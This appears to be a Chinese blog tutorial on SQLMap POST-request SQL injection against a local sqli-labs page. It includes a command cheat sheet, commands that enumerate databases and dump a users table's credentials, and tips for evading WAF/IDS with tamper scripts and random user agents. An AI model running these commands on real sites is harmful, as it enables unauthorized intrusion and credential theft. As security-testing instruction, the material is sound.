详细介绍:【SQLMap】POST请求注入

SQL注入是Web安全领域最常见的高危漏洞之一,而POST型注入因其数据不可见性,在测试中得特殊处理。SQLMap作为自动化SQL注入应用,能高效地帮助我们发现和利用这类漏洞。

POST注入与GET注入的关键区别

POST注入与GET注入的核心区别在于​​数据传递方式​​不同

特性

GET请求

POST请求

​数据传输方式​

通过URL传递(参数在地址栏可见)

通过请求体传递(数据不可见)

​数据量限制​

较小,受URL长度限制

较大,无URL长度限制

​安全性​

较低,参数易被缓存和记录

相对较高

​测试可见性​

直接可见,易于测试

不可见,需抓包或工具辅助

SQLMap 常用命令速查表

命令参数

功能说明

使用示例

-u <URL>

​指定目标URL​​(最常用)

sqlmap -u "http://example.com/page.php?id=1"

--data=<DATA>

​指定POST请求的数据​

sqlmap -u "http://example.com/login.php" --data="username=admin&password=pass"

-r <FILE>

​从文件加载HTTP请求​​(常用于POST注入)

sqlmap -r request.txt(文件通常由BurpSuite抓包保存)

-p

​指定测试的参数​

sqlmap -u "http://example.com/page.php?id=1&cat=2" -p "id"(只测试id参数)

--forms

​自动检测并测试页面中的表单​

sqlmap -u "http://example.com/login.php" --forms

--current-db

​获取当前数据库名​

sqlmap -u "http://example.com/page.php?id=1" --current-db

--dbs

​枚举所有数据库​

sqlmap -u "http://example.com/page.php?id=1" --dbs

--tables

​枚举指定数据库中的所有表​

sqlmap -u "http://example.com/page.php?id=1" -D <database_name> --tables

--columns

​枚举指定表中的所有列​

sqlmap -u "http://example.com/page.php?id=1" -D <database_name> -T <table_name> --columns

--dump

​导出(提取)指定表中的数据​

sqlmap -u "http://example.com/page.php?id=1" -D <database_name> -T <table_name> --dump

--batch

​使用非交互模式​​(自动选择默认选项)

通常加在其他命令后,避免SQLMap中途询问

--level=<LEVEL>

​设置测试等级​​(1-5,默认1)等级越高,测试越全面

--level=3(会检测User-Agent、Referer头)

--risk=<RISK>

​设置风险等级​​(1-3,默认1)等级越高,测试越具侵入性

--risk=2

SQLMap进行POST注入的实战方法

一:BurpSuite抓包+文件读取

此技巧利用BurpSuite等抓包工具捕获完整的POST请求,保存为资料后供SQLMap直接读取,准确性高。

  1. ​抓包并保存​​:使用BurpSuite拦截POST请求,将完整请求(包括Headers和Body)复制保存为文本文件(如1.txt

  2. ​使用SQLMap读取文件进行测试​

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt -p uname -dbs # 基本命令

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt --current-db #展示网站库名

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt -p uname -D security --tables # 获取指定数据库(security)的所有表

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt -p uname -D security -T users --columns # 获取指定表(users)的所有列

指定参数。在1.txt文件中指定要扫描的参数,其他就参数不会扫描

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt --dbs

sqlmap.py -r C:\Users\emma\OneDrive\桌面\1.txt -p username -D security -T users -C username,password --dump

二:自动表单检测(--forms)

让SQLMap自动分析目标页面,发现并测试所有表单。

让SQLMap自动发现并测试表单

sqlmap.py -u "http://localhost/sql/Less-12/index.php" --forms --dbs

  • ​优点​​:无需抓包,快捷便捷。

  • ​缺点​​:可能无法检测到所有参数(如Headers或Cookie中的参数)

三:直接指定POST内容(--data)

手动指定POST请求的参数进行测试。

# 直接通过--data指定POST参数
sqlmap.py -u "
http://localhost/sql/Less-12/index.php" --data="username=admin&password=123456"[1,4](@ref)


# 指定请求方法为POST(某些场景需要)
sqlmap.py -u "
http://localhost/sql/Less-12/index.php" --data="username=admin&password=123456" --method=POST[4](@ref)


# 结合其他参数指定测试字段
sqlmap.py -u "
http://localhost/sql/Less-12/index.php" --data="username=admin&password=123456" -p username --dbs

​高级技巧​​:

--batch # 使用默认选项,无需交互确认(适合自动化)
--delay 2 # 设置请求延迟,避免触发防护
--proxy="http://127.0.0.1:8080" # 设置代理,便于调试
--tamper # 使用混淆脚本绕过WAF/IDS

重要注意事项

所有测试必须在获得明确授权的目标上进行,未经授权的测试属于违法行为

WAF/IPS绕过​​:实战中目标准系统可能部署有WAF或IPS。可尝试以下方法绕过:

使用 --tamper参数(如 space2comment)对Payload进行混淆

增加 --level--risk参数值,提高测试的深度和广度

使用 --random-agent随机化User-Agent,避免被识别

感谢大家的观看,小编呆呆羊在这里与大家共同学习共同成长。

posted @ 2025-09-19 16:57  yfceshi  阅读(45)  评论(0)    收藏  举报